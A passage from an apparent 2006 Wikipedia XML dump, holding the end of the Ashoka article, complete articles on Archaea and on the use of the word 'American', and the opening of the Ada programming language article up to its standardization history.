Not until some 2,000 years later under [[Akbar|Akbar the Great]] and his great-grandson [[Aurangzeb]] would as large a portion of the [[subcontinent]] as that ruled by Ashoka again be united under a single ruler. When India gained independence from the [[British Empire]] it adopted Ashoka's emblem for its own, placing the [[dharma wheel]](The Wheel of Rightious Duty) that crowned his many columns on the [[Flag of India|flag]] of the newly independent state.

Ashoka was ranked #53 on [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]].

A semi-fictionalized portrayal of Ashoka's life was produced as a motion picture recently under the title [[Asoka (film)|Asoka]].

===Ashoka and Buddhist Kingship===
One of the more enduring legacies of Ashoka Maurya was the model that he provided for the relationship between Buddhism and the state.  Throughout Theravada Southeast Asia, the model of rulership embodied by Ashoka replaced the Brahmanist notion of divine kingship that had previously dominated (in the [[Angkor]] kingdom, for instance).  Under this model of 'Buddhist kingship', the king sought to legitimize his rule not through descent from a divine source, but by supporting and earning the approval of the Buddhist ''[[sangha]]''.  Following Ashoka's example, kings established monasteries, funded the construction of stupas, and supported the ordination of monks in their kingdom.  Many rulers also took an active role in resolving disputes over the status and regulation of the sangha, as Ashoka had in calling a conclave to settle a number of contentious issues during his reign.  This development ultimately lead to a close association in many Southeast Asian countries between the monarchy and the religious hierarchy, an association that can still be seen today in the state-supported [[Buddhism in Thailand|Buddhism of Thailand]] and the traditional role of the Thai king as both a religious and secular leader.

Ashoka also said that all his courtiers were true to their self and governed the people in a moral manner

==Ashoka in popular culture==

* ''[[Asoka (film)|Asoka]]'' is a [[film]] based on his life.
* ''Asoka ki chinta'' is a famous hindi poem by [[Jaishankar Prasad]]. The poem portrays Asoka's mindset during [[Kalinga War]].
* In some [[conspiracy theories]] Ashoka is mentioned as the founder of a powerful secret society called the [[Nine Unknown Men]].
* Ashoka is a character in the turn-based strategy game [[Civilization 4]].

==Sources==
Swearer, Donald.  ''Buddhism and Society in Southeast Asia''.  Anima Books. Chambersburg, PA.  1981.  ISBN 0890120234.

==External links==
{{wikiquote}}
[http://www.buddhanet.net/pdf_file/king_asoka.pdf King Asoka and Buddhism. Historical and Literary studies]

{{start box}}
{{succession box|title=[[Mauryan dynasty|Mauryan ruler]] | before=[[Bindusara]]|after=[[Dasaratha_Maurya|Dasaratha]]|years=[[272 BC|272]]-[[232 BC]]}}
{{end box}}
{{Indian selected article}}

[[Category:Mauryan dynasty]]
[[Category:Buddhists]]
[[Category:Indian monarchs|Ashoka]]
[[Category:Theravada Buddhism]]
[[Category:History of Orissa]]

[[de:Ashoka]]
[[es:Ashoka]]
[[fa:آشوکا شاه]]
[[fr:Ashoka]]
[[id:Asoka]]
[[hu:Asóka]]
[[nl:Asoka]]
[[ja:アショーカ王]]
[[pl:Aśoka]]
[[pt:Asoka]]
[[ru:Ашока]]
[[fi:Ashoka]]
[[sv:Ashoka]]
[[vi:A-dục vương]]
[[zh:阿育王]]</text>
    </revision>
  </page>
  <page>
    <title>Archaea</title>
    <id>1240</id>
    <revision>
      <id>41711512</id>
      <timestamp>2006-03-01T05:47:16Z</timestamp>
      <contributor>
        <ip>63.24.31.63</ip>
      </contributor>
      <comment>Be a pal and give some links to these terms</comment>
      <text xml:space="preserve">{{Taxobox
| color = darkgray
| name = Archaea
| domain = '''Archaea'''
| domain_authority = [[Carl Woese|Woese]], [[Otto Kandler|Kandler]] &amp; [[Mark Wheelis|Wheelis]], 1990
| subdivision_ranks = Phyla / Classes
| subdivision = 
Phylum [[Crenarchaeota]]&lt;br /&gt;
Phylum [[Euryarchaeota]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [[Halobacteria]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [[Methanobacteria]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [[Methanococci]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [[Methanopyri]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [[Archaeoglobi]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [[Thermoplasmata]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; [[Thermococci]]&lt;br /&gt;
Phylum [[Korarchaeota]]&lt;br /&gt;
Phylum [[Nanoarchaeum|Nanoarchaeota]]
}}
The '''Archaea''' ({{IPA2|ɑːˌkiːə}}), also called '''Archaebacteria''' ({{IPA2|ˈɑːkɪbakˌtɪərɪə}}), are a major division of [[life|living]] [[organism]]s.  Although there is still uncertainty in the exact [[phylogeny]] of the groups, Archaea, [[Eukaryote]]s and [[Bacteria]] are the fundamental classifications in what is called the [[three-domain system]].  Archaea are, like bacteria, single-cell organisms lacking [[cell nucleus|nuclei]] and are therefore classified as [[prokaryote]]s &amp;mdash; known as [[Monera]] in the five-[[kingdom (biology)|kingdom]] [[Linnaean taxonomy | taxonomy]].  They were originally described in [[extremophile | extreme]] environments, but have since been found in all types of [[habitat]]s. 

== History ==
Archaea were identified in [[1977]] by [[Carl Woese]] and George Fox based on their separation from other prokaryotes on 16S [[rRNA]] [[phylogenetic tree]]s.  These two groups were originally named the Archaebacteria and Eubacteria, treated as [[kingdom (biology)|kingdom]]s or subkingdoms.  Woese argued that they represented fundamentally different branches of living things.  He later renamed the groups Archaea and [[Bacteria]] to emphasize this, and argued that together with [[Eukarya]] they comprise [[three-domain system|three domains]] of living things.

== Archaea, Bacteria and Eukaryotes==
Archaea are similar to other prokaryotes in most aspects of [[Cell (biology)|cell]] structure and [[metabolism]].  However, their genetic [[transcription (genetics)|transcription]] and [[translation (genetics)|translation]] &amp;mdash; the two central processes in [[molecular biology]] &amp;mdash; do not show the typical bacterial features, but are extremely similar to those of [[eukaryote]]s.  For instance, archaean translation uses eukaryotic initiation and elongation factors, and their transcription involves TATA-binding proteins and TFIIB as in eukaryotes.

Several other characteristics also set the Archaea apart.  Like bacteria and eukaryotes, archaea possess [[glycerol]] based [[phospholipids]].  However, three features of the archaeal lipids are unusual:

*The archaeal lipids are unique because the stereochemistry of the glycerol is the reverse of that found in bacteria and eukaryotes.  This is strong evidence for a different biosynthetic pathway.

*Most bacteria and eukaryotes have membranes composed mainly of glycerol-[[ester]] [[lipid]]s, whereas archaea have membranes composed of glycerol-''[[ether]]'' lipids.  Even when bacteria have ether-linked lipids, the stereochemistry of the glycerol is the bacterial form.  This differences may be an adaptation on the part of Archaea to [[hyperthermophile|hyperthermophily]].  However, it is worth noting that even mesophilic archaea have ether-linked lipids.

*Archaeal lipids are based upon the [[isoprene|isoprenoid]] sidechain.  This is a five-carbon unit that is also common in rubber and as a component of some vitamins common in bacteria and eukaryotes.  However, only the archaea incorporate these compounds into their cellular lipids, frequently as C-20 (four monomers) or C-40 (eight monomers) sidechains.  In some archaea, the C-40 isoprenoid side-chain is actually long enough to span the membrane, forming a monolayer for a [[cell membrane]] with glycerol phosphate moieties on both ends.  

Although dramatic, this adaptation is most common in the extremely thermophilic archaea. Although not unique, the archaeal cell walls are also unusual.  For instance, the cell walls of most archaea are formed by surface layer proteins or an S-layer.  S-layers are common in bacteria, where they serve as the sole cell wall component in some organisms (like the Planctomyces) or an outer layer in many organisms with peptidoglycan.  With the exception of one group of methanogens, archaea lack a [[peptidoglycan]] wall. Even in this case, the peptidoglycan is very different from the type found in bacteria.  Archaeans also have [[flagellum|flagella]] that are notably different in composition and development from the superficially similar flagella of bacteria.

[[image:PhylogeneticTree.jpg|thumb|left|320px|A phylogenetic tree based on [[rRNA]] data, showing the separation of bacteria, archaea, and eukaryotes.]]

==Habitats==
Many archaeans are [[extremophile]]s.  Some live at very high temperatures, often above 100&amp;deg;C, as found in [[geyser]]s and [[black smoker]]s.  Others are found in very cold habitats or in highly-[[salt|saline]], [[acid]]ic, or [[alkaline]] water.  However, other archaeans are [[mesophile]]s, and have been found in environments like [[marsh]]land, [[sewage]], and [[soil]].  Many [[methanogen]]ic archaea are found in the digestive tracts of animals such as [[ruminant]]s, [[termite]]s, and humans.  Archaea are usually harmless to other organisms and none are known to cause disease.

==Form==
Individual archaeans range from 0.1 &amp;mu;m to over 15 &amp;mu;m in diameter, and some form aggregates or filaments up to 200 &amp;mu;m in length.  They occur in various shapes, such as spherical, rod-shape, spiral, lobed, or rectangular.  They also exhibit a variety of different types of metabolism.  Of note, the [[halobacteria]] can use light to produce [[adenosine triphosphate|ATP]], although no Archaea conduct [[photosynthesis]] with an electron transport chain, as occurs in other groups.

==Evolution and classification==

Archaea are divided into two main groups based on rRNA trees, the [[Euryarchaeota]] and [[Crenarchaeota]].  Two other groups have been tentatively created for certain environmental samples and the peculiar species ''[[Nanoarchaeum|Nanoarchaeum equitans]]'', discovered in 2002 by [[Karl Stetter]], but their affinities are uncertain.

Woese argued that the bacteria, archaea, and eukaryotes each represent a primary line of descent that diverged early on from an ancestral ''[[progenote]]'' with poorly-developed genetic machinery.  This hypothesis is reflected in the name Archaea, from the Greek ''archae'' or ancient.  Later he treated these groups formally as [[three-domain system|domain]]s, each comprising several kingdoms.  This division has become very popular, although the idea of the progenote itself is not generally supported.  Some biologists, however, have argued that the archaebacteria and eukaryotes arose from specialized eubacteria.

The relationship between Archaea and Eukarya remains an important problem.  Aside from the similarities noted above, many genetic trees group the two together.  Some place eukaryotes closer to Eurarchaeota than Crenarchaeota are, although the membrane chemistry suggests otherwise.  However, the discovery of archaean-like genes in certain [[bacterium|bacteria]], such as ''Thermotoga'', makes their relationship difficult to determine.  Some have suggested that eukaryotes arose through fusion of an archaean and eubacterium, which became the nucleus and cytoplasm, which accounts for various genetic similarities but runs into difficulties explaining cell structure.

Single gene [[sequencing]] for [[systematics]] has led to whole [[genome sequencing]]; currently 24 archaeal genomes have been completed with 22 partially completed [http://www.ncbi.nlm.nih.gov/genomes/lproks.cgi].

==External links==
* [http://www.microbe.org/microbes/archaea.asp Archaea]
* [http://www.archaea.unsw.edu.au/ ArchaeaWeb - by UNSW - Information about Archaea]
* [http://www.ucmp.berkeley.edu/archaea/archaea.html Introduction to the Archaea, ecology, systematics and morphology]
* [http://www.mediscover.net/Extremophiles.cfm Extremophiles Bioprospecting for antimicrobials, Dr Sarah Maloney] Citat: &quot;...Ground breaking research on extremophiles continues to this day, with the recently-discovered 22nd genetically-encoded [[amino acid]] &amp;ndash; [[pyrrolysine]] &amp;ndash; from the archaeon, ''Methanosarcina barkeri'', (Hao et al., 2002; Srinivasan et al., 2002)....&quot;
* [http://news.bbc.co.uk/1/hi/sci/tech/399972.stm BBC News July 21, 1999: Toughest bug reveals genetic secrets] Citat: &quot;...It [''Pyrococcus abyssi''] likes conditions that the vast majority of other organisms would find impossible to live in. It thrives best at temperatures of about 103 degrees [Celsius] and under pressures of about 200 atmospheres....&quot;
* [http://www.genoscope.cns.fr/Pab/ Pyrococcus abyssi Home page at Genoscope]

==References==
* {{cite book | author=Howland, John L. | title=The Surprising Archaea: Discovering Another Domain of Life | publisher=Oxford: Oxford University Press | year=2000 | id=ISBN 0-19-511183-4}}
* {{cite journal | author=Lake, J.A. | title=Origin of the eukaryotic nucleus determined by rate-invariant analysis of rRNA sequences | journal=Nature | year=1988 | volume=331 | pages=184–186}}
* {{cite journal | author=Woese, Carl R.; Fox, George E. | title=Phylogenetic Structure of the Prokaryotic Domain: The Primary Kingdoms | journal=Proceedings of the National Academy of Sciences of the United States of America | year=1977 | issue=11 | volume=74 | pages=5088–5090}}
* {{cite journal | author = Woese, Carl R., Kandler, Otto, Wheelis, Mark L | title = Towards a natural system of organisms: Proposal for the domains Archaea, Bacteria, and Eucarya | journal = Proceedings of the National Academy of Sciences | year = 1990 | issue = 12 | volume = 87 | pages = 4576–4579}}

[[Category:Archaea| ]]
[[Category:Extremophiles]]

[[ca:Arqueobacteri]]
[[cs:Archea]]
[[cy:Archaea]]
[[da:Archaea]]
[[de:Archaeen]]
[[et:Arhed]]
[[es:Archaea]]
[[eo:Arkio]]
[[fr:Archaea]]
[[ko:고세균]]
[[he:חיידקים קדומים]]
[[la:Archaea]]
[[lb:Archaeën]]
[[nl:Archaea]]
[[nds:Archaeen]]
[[ja:古細菌]]
[[no:Arkebakterier]]
[[pl:Archeowce]]
[[pt:Archaea]]
[[sl:Arheja]]
[[fi:Arkkieliöt]]
[[sv:Arkéer]]
[[vi:Archaea]]
[[zh:古細菌]]</text>
    </revision>
  </page>
  <page>
    <title>Use of the word American</title>
    <id>1241</id>
    <revision>
      <id>41992568</id>
      <timestamp>2006-03-03T02:20:29Z</timestamp>
      <contributor>
        <username>Che829</username>
        <id>401724</id>
      </contributor>
      <comment>/* The alternatives */</comment>
      <text xml:space="preserve">{{pov}}
'''''American''''', when used as an adjective, most frequently is used to mean &quot;of the [[United States|United States of America]]&quot; in the English language. Less frequently, in a United States context, it means &quot;of or relating to [[the Americas]].&quot;  When used as a noun, it most frequently is used to mean &quot;United States [[citizen]].&quot; Less frequently, &quot;residing in the Americas,&quot; or &quot;[[American English]].&quot;

==''American'' in the Americas==
The word [[The Americas|America]] was [[The Americas#Naming of America|derived]] by [[Holy Roman Empire|German]] cartographer [[Martin Waldseemüller]] from the Latinized version of the name of [[Amerigo Vespucci]] (''Americus Vespucius''), an [[Italy|Italian]] merchant and cartographer whose exploratory journeys in the late 1400s and early 1500s brought him to the eastern coastline of [[South America]] and to the [[Caribbean]]. The term ''American'' was subsequently used as an adjective describing the [[New World]] and its native people.

Starting by 1700 the word &quot;American&quot; was used by Europeans for the Indians in the New World. In 1765 came the first use to describe the British colonists.  That usage was widespread by 1774, and in 1776 the [[Declaration of Independence (United States)|Declaration of Independence]] proclaimed a new country, &quot;The United States of America.&quot;  At that time &quot;America&quot; was also used to designate continents in atlases published in Europe, but very few people ever saw those books. The [[American Revolution]] was closely followed in Europe, and the term became common for the inhabitants of the new nation.  Since 1776, the term ''American'' has gained universal usage in reference to residents of the [[United States of America]]. Controversy has arisen over whether this usage is appropriate, or whether the term should only be used as an adjective covering the whole of [[North America]] and [[South America]]. Geographers disagree among themselves: English language atlases display two continents, &quot;North America&quot; and &quot;South America&quot; while Spanish language atlases display one continent, &quot;America.&quot; 

Proponents of the usage of ''American'' as a lexical attachment to 'America' broadly defined as the continent/s of North and South America argue that current usage is at best inaccurate, historically incorrect and at worst redolent of perceived US [[imperialism]]. They add that the main purpose of clear language is to avoid ambiguity. 

Proponents of the usage of ''American'' to refer to the United States argue that the USA is the only sovereign nation in the world with the word ''America'' in its official name. Additionally, other nations, including Mexico presently and Brazil in the past, have or have had the term &quot;United States&quot; in their official names. Thus, to many, referring to U.S. citizens as ''Americans'' is convenient and legitimate, while using ''U.S.'' could in fact be ambiguous. Also, there is tradition to consider as the term has been applied to residents of the U.S. from the very beginning of that country.

Critics opposed to the change say that [[essentialism]] regarding words is an error.  Lexicographers tell how people use the word; they do not issue edicts that say &quot;America&quot; can only refer to geographical continents rather than a country.  Every major dictionary makes clear that &quot;American&quot; applied to residents of the U.S. is standard usage, and has been for over 200 years in every Anglophone country.

In [[Canada]], the term &quot;American&quot; is widely understood to refer exclusively to citizens of the U.S., and Canadians do not refer to themselves as Americans.  On the other hand, in [[Spain]], people who have lived in the Western Hemisphere but now live in Spain may be called, in Spanish, ''americanos'' (translated into English as &quot;Americans&quot;). 

In discussions of geography, one might specify North America, Central America, or South America when the reference is to a continent or region.  Residents of the Western Hemisphere rarely call themselves &quot;North American&quot; or &quot;South American&quot;; the term &quot;Central American&quot; is more common.  Many alternative [[neologism]]s to ''American'' have been proposed to refer to the United States of America, but they have failed to garner widespread acceptance.   

This has given rise to terms like &quot;[[Mexican-American]]&quot; or &quot;Canadian-American&quot; to refer to people of Mexican or Canadian origin living in the United States—either as first-generation immigrants or their descendants. These terms are never used to refer to natives of Mexico or Canada. Geo-politically speaking, such terms are redundant.

[[Canadian identity|Canadians]] in particular have devoted a great deal of attention to proclaiming that they are not-Americans -meaning US citizens-, both in their own cultural products and when they travel outside the region and are frequently mistaken as coming from the United States.

===American in the US Census===
[[Image:American1346.gif|thumb|&quot;American&quot; ancestry in US counties.]]

In the United States census, millions of people describe their (main) [[ethnic origin]] as &quot;American&quot;, particularly those belonging in southern states. This region has a high percentage of people who trace their descent to the colonial origins of the United States and often lack records of the particular, but generally, British countries of their ancestor's origins.

==''American'' in cultural usages==
'''American''', culturally, generally refers to things which originated within the United States of America.

Some foods, such as hamburgers, are seen as [[American cuisine]].

Some sports, such as [[baseball]] or [[American football]], are seen as American, even though they may be played in other countries.

Some music, such as [[jazz]], [[country music]], or [[American folk music]] are seen as American, even though they may be popular in other countries.

==''American'' in other languages==
[[English language|English]] speakers commonly use ''American'' to refer to the United States only. In the [[United Kingdom]], the use of 'US' as an adjective is preferred where it can be comfortably used, and is prevalent in media and government house-styles.

In [[Spanish language|Spanish]], ''americano'' tends to refer to any resident of the Americas and not from the United States; English spoken in Latin America often makes this distinction as well.  

''US-American'' is another option, and is the dominant demonym in German (''US-Amerikaner'').  Latin Americans also have the [[euphemism]] ''norteamericano'' (''North American'', which itself conflates the USA and Canada and possibly Mexico).  

''United Statian'' is awkward in English, but it exists in Spanish (''estadounidense'') and occasionally in German (''Vereinigten Staatler''), and in [[Portuguese language|Portuguese]] (both in [[Portugal]] and [[Brazil]]), where the term ''estadunidense'' is growing and it is considered more appropriate than the common term ''norte-americano''.

The word [[Gringo]] is widely used in all of [[Latin America]], particularly in Mexico, to make a reference to U.S. residents, not necessarily in a pejorative way. ''Yanqui'' (''[[Yankee]]'') is also very common in some regions.

There have been a number of attempts to [[neologism|coin]] an alternative to &quot;[[American (disambiguation)|American]]&quot; as an adjective (a [[demonym]]) for a citizen of the [[United States]], that would not simultaneously mean a citizen of the Americas.

With the [[1994]] passage of the [[North American Free Trade Agreement]], the following words were used to label the ''United States Section'' of that organization: in [[Canadian French]], ''étatsunien''; in Spanish, ''estadounidense''.

==Seeking alternate names==
Many people use the word &quot;American&quot; to indicate any inhabitant of [[the Americas]] (which many people in other parts of the world tend to consider a single continent, called America) rather than specifically a citizen of the United States; and perceive the latter usage of &quot;American&quot; to be potentially ambiguous, and perhaps aggressive in tone or imperialistic, a rather widespread view in Latin America. 

However, many in the US assert that the word &quot;America&quot; in &quot;United States of America&quot; denotes the country's proper name, and is not a geographical indicator. They argue that the interpretation of ''United States '''of''' America'' to mean a country named ''United States'' located in the continent of ''America'' is mistaken. Instead, they argue that the preposition ''of'' is equivalent to the ''of'' in ''Federative Republic '''of''' Brazil'', ''Commonwealth '''of''' Australia'', ''Federal Republic '''of''' Germany''. That is, the ''of'' indicates the name of the state.  In addition, other countries use &quot;United&quot; or &quot;States&quot; in their names as well.  Indeed, the formal name of [[Mexico]] is ''Estados Unidos Mexicanos'', currently officially translated as &quot;United Mexican States&quot; had in the past been translated as &quot;United States of Mexico.&quot;

Regardless, many question a nation's right to formally appropriate the name of a continent for itself, citing the fact that America existed long before the United States ''of'' America. Indeed, [[Amerigo Vespucci]] (who travelled extensively throughout the Caribbean basin) never set foot on present US territory.

Some U.S. citizens and Latin Americans alike have no problem with the simultaneous usage of &quot;American&quot; as an adjective for all inhabitants of the Americas, and make the distinction between the demonym for a country and the demonym for a continent (or continents). They argue that there is no reason the two cannot share the term if it is used in distinct but equally legitimate contexts.

In other cases, the motivation is not so much political as it is academic, to avoid a perceived ambiguity. For instance, in legal circles a citizen of the United States is usually referred to as a 'U.S. citizen,' not an 'American citizen,' which could arguably apply to citizens of other American nation states as well.

A modern alternative term used by Latin speakers to reffer the people from the United Sates in their language is &quot;USen,&quot; situable short for &quot;United States Citizen.&quot;

==The alternatives==
Attempts to create such a name have failed to gain widespread use. Proposals have included:
*Americanite
*Appalacian (now only considered an accurate term for the people of [[Appalachia]])
*Colonican
*Columbard
*[[Historical Columbia|Columbia]]n (hence the [[Washington, D.C.|District of Columbia]])
*Frede or Fredonian 
*[[Nacirema]]
*Statesider
*Uesican (pronounced {{IPA|[juˈɛsɪkən]}}) or Uessian (pronounced {{IPA|[juˈɛsiən]}})
*Unisan or Unisian
*United States American, United Stater, United Stateser, United Statian, United Statesian, or United Statesman
*USAian, U.S. American, Usan, USAn, Usanian, Usian (pronounced {{IPA|[ˈjuʒən]}}), U-S-ian, or [[Usonia]]n (pronounced {{IPA|[juˈsoʊniən]}})
*USen
*Vespuccino
*Washingtonian.

References to these words have been around since the early days of the republic, but ''American'' has become by far the most common term. ''[[Usonia]]n'' is used in architectural circles, and ''Washingtonian'' remains as the adjective for the state of [[Washington]] and the city of [[Washington, D.C.]].

Several of these terms have direct parallels in languages other than [[English language|English]]. Many languages have already created their own distinct word for a citizen of the United States:
*''United Statian'' directly parallels the [[Spanish language|Spanish]] term ''estadounidense''.
*''Norteamericano'' (North American) is common in [[Latin America]], but suffers from the same kind of ambiguity as ''American'', since Canadians and Mexicans, amongst others, are also North Americans.
* In [[Portuguese language|Portuguese]], ''norte-americano'' is the most commonly used term. ''Estadunidense'' is gaining some popularity, specifically in [[Brazil]], where its usage traditionally rises during times of tension with the USA.
*''Amerikan'' is a derogatory spelling, after the Eastern European spelling made popular in the West by Franz Kafka's 1946 novel.
*''Usonian'', from [[Usonia]], a term [[Frank Lloyd Wright]] used to describe his vision for American [[architecture]], homes, and cities, and used by [[John Dos Passos]] in his [[U.S.A. trilogy]].
* The [[Esperanto]] term for the [[United States|United States of America]] is ''Usono''.  This is generally thought to come from &quot;[[Usonia]].&quot;  In Esperanto, one forms the word for a citizen of a given country using the suffix &quot;-an&quot; which means &quot;member of.&quot; Therefore a citizen of the United States is ''usonano''.  (Such derived words are not capitalized.)  Esperanto terms for the American geographic regions and their people are ''Ameriko/amerikano'', ''Norda Ameriko/nordamerikano'', ''Meza Ameriko/mezamerikano'', and ''Suda Ameriko/sudamerikano''.
*''Usanian'' is derived from the [[Ido]] word ''Usana''.
*''[[Yankee]]'', often shortened to ''Yank'', is used all over the world in an informal manner similar to the use of the Mexican word ''[[Gringo]]''. Both terms may occasionally be used in an affectionate or pejorative sense. On occasion some U.S. citizens will take offense at the term ''Yankee'', particularly Southerners (residents of the [[Southeastern United States]]), who use ''Yankee'' to refer to Northerners (residents of the [[Northeastern United States]]), sometimes in a derogatory way. (Some people from [[Scotland]] or [[Wales]] may use ''Yankee'' as a deliberate riposte to people from the US who refer to them as English, from the enduring misconception that [[England]] is coterminous with the [[United Kingdom]].) 
**The colloquial term ''Yank'' for a U.S citizen, used in [[United Kingdom|Britain]] and [[Australia]], is a derivative of ''Yankee''. In Australia, the [[Cockney]] [[Cockney rhyming slang|rhyming slang]] term ''Sepo'' survives, derived from ''septic tank''.
* In [[French language|French]], ''États-Unien(ne)'', ''Étatsunien(ne)'', or ''Étasunien(ne)'' are gaining some popularity.
* In [[Italian language|Italian]] the term ''Statunitense'' (from 'Stati Uniti' = 'United States') is quite widespread, especially referring to sporting events.
* In [[German language|German]], ''US-Amerikaner'' may be used to avoid ambiguity or to be [[politically correct]], but it may come across as pedantic if used conversationally. ''Amerikaner'' is in general usage in German, and is widely accepted to refer to the United States. ''Ami'' is a colloquialism which unambiguously refers to US citizens. The German usage of ''Ami'' is akin to the Mexican usage of ''[[Gringo]]'', in that it can be neutral, patronizing, or perhaps even affectionate.
* In [[Icelandic language|Icelandic]] the term ''Bandaríkjamenn'' is quite widespread, Bandaríkin (United States) and menn for (people/persons)

==Less serious alternatives==
Less serious terms that have been popular on the Internet at various times include
*Leftpondian - from the fact that the USA is on the left side of the Atlantic Ocean (the &quot;pond&quot;) as seen on a map with north at the top.  This term is often used to include Canadians as well.
*Merkin - from the way some Americans pronounce the word &quot;American&quot;, but also playing on the word's [[merkin|other meaning]].

== See also ==

* [[Americas (terminology)]]
* [[Alternative words for British]]

==Scholarly sources==
* [http://www.questia.com/PM.qst?a=o&amp;d=58426145 Allen, Irving L. ''The Language of Ethnic Conflict: Social Organization and Lexical Culture'' (1983).]
* Herbst, Philip H. ''Color of Words: An Encyclopaedic Dictionary of Ethnic Bias in the United States'' (1997) ISBN 1877864978.

==External links==
* [http://www.guardian.co.uk/Columnists/Column/0,,234240,00.html &quot;The trouble with Americans&quot;] by [[The Guardian]] on the use of the word &quot;American&quot; meaning &quot;US citizen&quot; ([[September 7]], [[1998]])

[[Category:American culture]]

[[es:El uso de la palabra americana/o]]</text>
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  <page>
    <title>Ada programming language</title>
    <id>1242</id>
    <revision>
      <id>41939950</id>
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      <contributor>
        <username>ManuelGR</username>
        <id>36220</id>
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      <minor />
      <text xml:space="preserve">{{Infobox programming language
|name = Ada
|logo = [[Image:Ada Lovelace.jpg|157px]]
|paradigm = [[multi-paradigm programming language|multi-paradigm]]: [[Concurrent programming language|concurrent]], [[Distributed programming|distributed]], [[Generic programming|generic-programming]], [[Imperative programming|imperative]], [[object-oriented programming|object-oriented]]
|year = 1983, last revised 2005
|designer = [[Jean Ichbiah]]
|typing = [[Datatype#Static_and_dynamic_typing|static]], [[Datatype#Strong_and_weak_typing|strong]], [[Datatype#safely_and_unsafely_typed|safe]], [[Datatype#Nominative_vs_structural_typing|nominative]]
|implementations = [[GNAT]]
|dialects = Ada&amp;nbsp;83, Ada&amp;nbsp;95, Ada&amp;nbsp;2005
|influenced_by = [[ALGOL]], [[Pascal programming language|Pascal]], [[C++]] (Ada&amp;nbsp;95), [[Smalltalk]] (Ada&amp;nbsp;95)
|influenced = [[C++]]
}}
'''Ada''' is a [[Structured programming|structured]], [[statically typed]] [[Imperative programming|imperative]] [[computer programming|computer]] [[programming language]] designed by a team led by [[Jean Ichbiah]] of [[Groupe Bull|CII Honeywell Bull]] during [[1977]]&amp;ndash;[[1983]]. It addresses many of the same tasks as [[C programming language|C]] or [[C++]], but with one of the best [[Type safety|type-safety]] systems available in a [[statically typed]] programming language. Ada was named after [[Ada Lovelace]], often credited as the first computer programmer.

== Features ==

Ada was originally targeted at [[embedded system|embedded]] and [[real-time]] systems, and is still commonly used for those purposes. The Ada&amp;nbsp;95 revision, designed by [[Tucker Taft|S. Tucker Taft]] of [[Intermetrics]] between [[1992]] and [[1995]], improved support for systems, numerical, and financial programming.

Notable features of Ada include [[strongly typed languages|strong typing]], [[modularity (programming)|modularity mechanisms]] (packages), [[run-time checking]], [[parallel processing]] (tasks), [[exception handling]], and [[generic programming|generic]]s. Ada&amp;nbsp;95 added support for [[object-oriented programming]], including [[dynamic dispatch]].

Ada supports run-time checks in order to protect against access to unallocated memory, [[buffer overflow]] errors, [[off by one errors]], array access errors, and other avoidable bugs. These checks can be disabled in the interest of efficiency, but can often be compiled efficiently. It also includes facilities to help program verification. For these reasons, it is very widely used in critical systems like [[avionics]], weapons and spacecraft.

It also supports a large number of compile-time checks to help avoid bugs that would not be detectable until run-time in some other languages or would require explicit checks to be added to the source code.

Ada's dynamic [[memory management]] is safe and high-level, like Java and unlike C.  The specification does not require any particular implementation.  Though the semantics of the language allow automatic [[garbage collection (computer science)|garbage collection]] of inaccessible objects, most implementations do not support it. Ada does support a limited form of [[region-based storage management]].  Invalid accesses can always be detected at run time (unless of course the check is turned off) and sometimes at compile time.

The Ada language definition is unusual among [[International Organization for Standardization|ISO]] standards in that it is [[free content]]. One result of this is that the standard document (known as the ''Ada Reference Manual'' or ''ARM'') is the usual reference Ada programmers resort to for technical details, in the same way as a particular standard textbook serves other programming languages.

== History ==

In the [[1970s]], the [[United States Department of Defense|US Department of Defense]] (DoD) was concerned by the number of different programming languages being used for its projects, many of which were obsolete or hardware-dependent, and none of which supported safe modular programming. In [[1975]] the [[Higher Order Language Working Group]] (HOLWG) was formed with the intent of reducing this number by finding or creating a programming language generally suitable for the department's requirements; the result was Ada. The total number of high-level programming languages in use for such projects fell from over 450 in [[1983]] to 37 by [[1996]].

{{Wikisource|Steelman language requirements}} The [[working group]] created a series of language requirements documents&amp;mdash;the Strawman, Woodenman, Tinman, Ironman and [[Steelman language requirements|Steelman]] documents. Many existing languages were formally reviewed, but the team concluded in [[1977]] that no existing language met the specifications.

Requests for proposals for a new programming language were issued and four contractors were hired to develop their proposals under the names of Red ([[Intermetrics]] led by [[Benjamin Brosgol]]), Green ([[CII Honeywell Bull]], led by [[Jean Ichbiah]]), Blue ([[SofTech]], led by [[John Goodenough]]), and Yellow ([[SRI International]], led by [[Jay Spitzen ]]).&lt;!-- Though Intermetrics and Bull have previous links, I am including them for parallelism. --&gt; In April 1978, after public scrutiny, the Red and Green proposals passed to the next phase. In May of [[1979]], the Green proposal, designed by Jean Ichbiah at CII Honeywell Bull, was chosen and given the name Ada&amp;mdash;after [[Ada Lovelace|Augusta Ada, Countess of Lovelace]]. This proposal was influenced by the programming language [[LIS programming language|LIS]] that Ichbiah and his group had developed in the [[1970s]]. The preliminary Ada reference manual
was published in ACM SIGPLAN Notices in June 1979. The Military Standard reference manual was approved on [[December 10]], [[1980]] ([[Ada Lovelace]]'s birthday), and
given the number MIL-STD-1815 in honor of Ada Lovelace's birth year.

[[Image:Ada Lovelace 1838.jpg|right|caption|thumbnail|157px|[[Ada Lovelace|Augusta Ada King]], Countess of Lovelace.]] 
In [[1987]], the US Department of Defense began to require the use of Ada (the ''Ada mandate'') for every software project where new code was more than 30% of result, though exceptions to this rule were often granted. This requirement was effectively removed in [[1997]], as the DoD began to embrace COTS ([[commercial off-the-shelf]]) technology. Similar requirements existed in other [[North Atlantic Treaty Organisation]] countries.

Because Ada is a strongly-typed language, it has been used outside the military in commercial aviation projects, where a software bug can mean fatalities. The fly-by-wire system in the [[Boeing 777]] runs software written in Ada.

The language became an [[ANSI]] standard in [[1983]] ([http://archive.adaic.com/standards/83lrm/html/Welcome.html ANSI/MIL-STD 1815A], and 
without any further changes became
an [[International standard|ISO standard]] in [[1987]] (ISO-8652:1987). This version of the language is commonly known as Ada&amp;nbsp;83, from the date of its adoption by ANSI, but is sometimes referred to also as Ada&amp;nbsp;87, from the date of its adoption by ISO.

